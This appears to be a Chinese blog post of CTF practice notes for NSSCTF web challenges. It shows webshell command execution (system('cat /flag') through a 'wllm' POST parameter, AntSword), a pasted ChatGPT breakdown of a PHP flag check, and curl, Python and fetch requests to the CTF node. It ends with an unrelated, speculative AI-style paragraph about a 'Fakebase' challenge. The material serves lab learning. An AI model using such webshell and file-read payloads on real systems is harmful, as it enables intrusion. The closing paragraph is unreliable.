NSSCTF web刷题

1

虽然找到了flag,但是我要怎么去改他的代码,让他直接输出flag呢?

(好像是要得到他的json代码,这题不让看)

2

wllm应该就是他的密码,进入许可了

意思是服务器可以执行通过POST的请求方式传入参数为wllm的命令,那这就是典型的命令执行,当然,也可以使用蚁剑或者菜刀连接这个木马

antsword

右键直接连接

在根目录下就有一个flag藏着

hackbar

ctrl+u查看源码,好看一点

wllm=var_dump(file_get_contents("/flag"));

wllm=system('cat /flag');

两种源码

var_dump()函数用于输出变量的相关信息
file_get_contents()函数用于读取文件

3

强大的ai

进来可以看见就是源码

gpt给的答案

这段 PHP 代码主要用于处理两个输入参数 (idjson),并在满足特定条件时输出一个变量 $flag 的内容。以下是代码逐行分析:


1. highlight_file('index.php');

  • 作用: 这行代码会将当前文件 (index.php) 的内容以高亮的形式输出到网页上。
  • 用途: 通常用于调试,或者作为一个挑战(比如 CTF),让用户能看到代码内容。

2. include("flag.php");

  • 作用: 包含一个名为 flag.php 的文件。
  • 隐患: 如果 flag.php 文件被泄露或包含敏感信息(比如 $flag 的定义),可能会导致漏洞。
  • 假设 flag.php 文件的内容类似于:
     

    php

    复制代码

    <?php $flag = "FLAG{example_flag}"; ?>


3. $id=$_POST['id'];

  • 作用: 从 HTTP POST 请求中获取参数 id 的值并赋值给 $id
  • 隐患: 如果未对输入进行校验,可能会导致不安全的行为,但此处代码仅比较字符串,暂未看到明显漏洞。

4. $json=json_decode($_GET['json'],true);

  • 作用: 从 HTTP GET 请求中获取参数 json 的值,并将其作为 JSON 解码为 PHP 数组,存储到 $json 变量中。
  • 隐患: 如果解码失败(如传入的不是合法的 JSON),$json 将是 null,这可能导致后续代码错误。

5. if ($id=="wllmNB"&&$json['x']=="wllm")

  • 作用: 检查 $id$json['x'] 是否同时满足指定条件:
    • $id 的值必须是字符串 "wllmNB";
    • $json['x'] 的值必须是字符串 "wllm"

6. {echo $flag;}

  • 作用: 如果条件满足,则输出 $flag 的内容。

总结分析

  • 功能:

    • 脚本的作用是输出 $flag,前提是满足条件 $id == "wllmNB"$json['x'] == "wllm"
  • 潜在漏洞:

    1. 文件包含敏感数据: 如果 flag.php 的内容意外暴露,攻击者可能直接获取到 $flag
    2. 未验证的用户输入:
      • 虽然 json_decode() 是一种解析输入的方法,但其行为依赖于用户传入的 JSON 数据,如果攻击者能够构造合法的 JSON,可能绕过其他限制。
    3. 代码逻辑过于简单: 一旦攻击者了解了判断逻辑,直接伪造请求即可拿到 $flag
  • 如何利用:

    1. 构造一个 POST 请求,其中 id="wllmNB"
    2. 构造一个 GET 请求,其中 json={"x":"wllm"}
    3. 请求示例:
       

      bash

      复制代码

      POST /index.php?id=wllmNB&json={"x":"wllm"}

      或者:
       

      perl

      复制代码

      curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"

  • 建议改进:

    1. 避免在源码中直接输出敏感信息。
    2. 使用更加复杂的验证逻辑,避免简单暴力的字符串匹配。
    3. 针对用户输入的 JSON 数据和 POST 数据增加验证,确保不会被伪造请求绕过。

真猛,我的天

1. 使用 curl 命令行工具

curl 是一个非常强大的命令行工具,用于发送 HTTP 请求。

构造 POST 请求
 
 

bash

复制代码

curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"

解释
  • -X POST 指定 HTTP 方法为 POST。
  • -d "id=wllmNB" 指定 POST 的数据(id=wllmNB)。
  • http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D
    • json=%7B%22x%22%3A%22wllm%22%7D 是 URL 编码的 JSON 参数 {"x":"wllm"}

2. 使用 Postman

Postman 是一个用户友好的界面工具,非常适合测试 HTTP 请求。

步骤
  1. 下载并安装 Postman.

  2. 创建一个新请求。

  3. 设置请求方式为 POST

  4. 在 URL 栏中输入目标地址,例如:

     

    arduino

    复制代码

    http://example.com/index.php

  5. 在请求参数部分:

    • Body: 选择 x-www-form-urlencoded
    • 添加键值对:id = wllmNB
  6. 在 Query Params 添加键值对:json = {"x":"wllm"}

  7. 点击 Send,观察返回结果。


3. 使用浏览器控制台

你也可以在浏览器的开发者工具中发送请求。

步骤
  1. 打开浏览器,按 F12 或右键选择 检查,进入开发者工具。
  2. 转到 Console(控制台)。
  3. 输入以下代码:
     

    javascript

    复制代码

    fetch('http://example.com/index.php?json={"x":"wllm"}', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'id=wllmNB' }).then(response => response.text()).then(data => console.log(data));

  4. 按回车,观察控制台输出的返回结果。

4. 使用 Python (Requests 库)

如果你熟悉 Python,可以用 requests 库发送请求。

代码示例
 
 

python

复制代码

import requests url = "http://example.com/index.php" params = {"json": '{"x":"wllm"}'} data = {"id": "wllmNB"} response = requests.post(url, params=params, data=data) print(response.text)

运行
  1. 确保安装了 requestspip install requests
  2. 运行上述代码。

推荐工具

  • 如果你熟悉命令行,使用 curl
  • 如果需要可视化界面,使用 Postman
  • 如果你是开发者,推荐使用 Python 的 Requests 库或浏览器控制台。

试一下

这...

ai强大

curl -X POST -d "id=wllmNB" "http://node7.anna.nssctf.cn:21519?json=%7B%22x%22%3A%22wllm%22%7D"

import requests

url = "http://node7.anna.nssctf.cn:21519/"
params = {"json": '{"x":"wllm"}'}
data = {"id": "wllmNB"}

response = requests.post(url, params=params, data=data)
print(response.text)

fetch('http://node7.anna.nssctf.cn:21519?json={"x":"wllm"}', { 
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'id=wllmNB'
}).then(response => response.text()).then(data => console.log(data));

 猛!三个传参的办法

后面再学,今天先摆~

对于 NSSCTF 比赛中的 Fakebase 挑战,当前提供的参考资料并未直接涉及该主。然而,在网络安全竞赛中,Fakebase 类型的挑战通常涉及到伪造数据库或模拟数据库环境来测试参赛者的渗透测试能力和安全漏洞发现能力。 在类似的 CTF (Capture The Flag) 赛事里,针对假定的安全系统进行攻击面分析是一项常见任务。这类比赛旨在提高参与者识别和修复软件缺陷的能力[^1]。尽管具体到 NSSCTF 的 Fakebase 挑战细节未被提及,可以推测此项目可能要求选手们: - 对给定的应用程序执行黑盒测试。 - 发现并利用潜在的安全弱点。 - 设计有效的策略绕过防护机制。 为了准备这样的挑战,建议关注以下资源和技术领域: ### 建议学习的方向 #### SQL 注入防御 SQL注入是一种常见的Web应用程序漏洞,允许攻击者通过构造恶意输入操纵后台查询逻辑。掌握如何防止此类攻击至关重要。 ```sql -- 使用参数化查询避免SQL注入风险 SELECT * FROM users WHERE username = ? AND password = ? ``` #### 数据库权限管理 理解不同级别的访问控制以及最小特权原则有助于保护敏感数据免受未经授权的操作影响。 #### Web 应用防火墙(WAF) 配置WAF可以帮助过滤掉可疑请求模式,减少成功实施攻击的可能性。 #### 安全编码实践 遵循OWASP等权威机构发布的指南编写健壮且不易受到攻击的代码。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

name_name123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值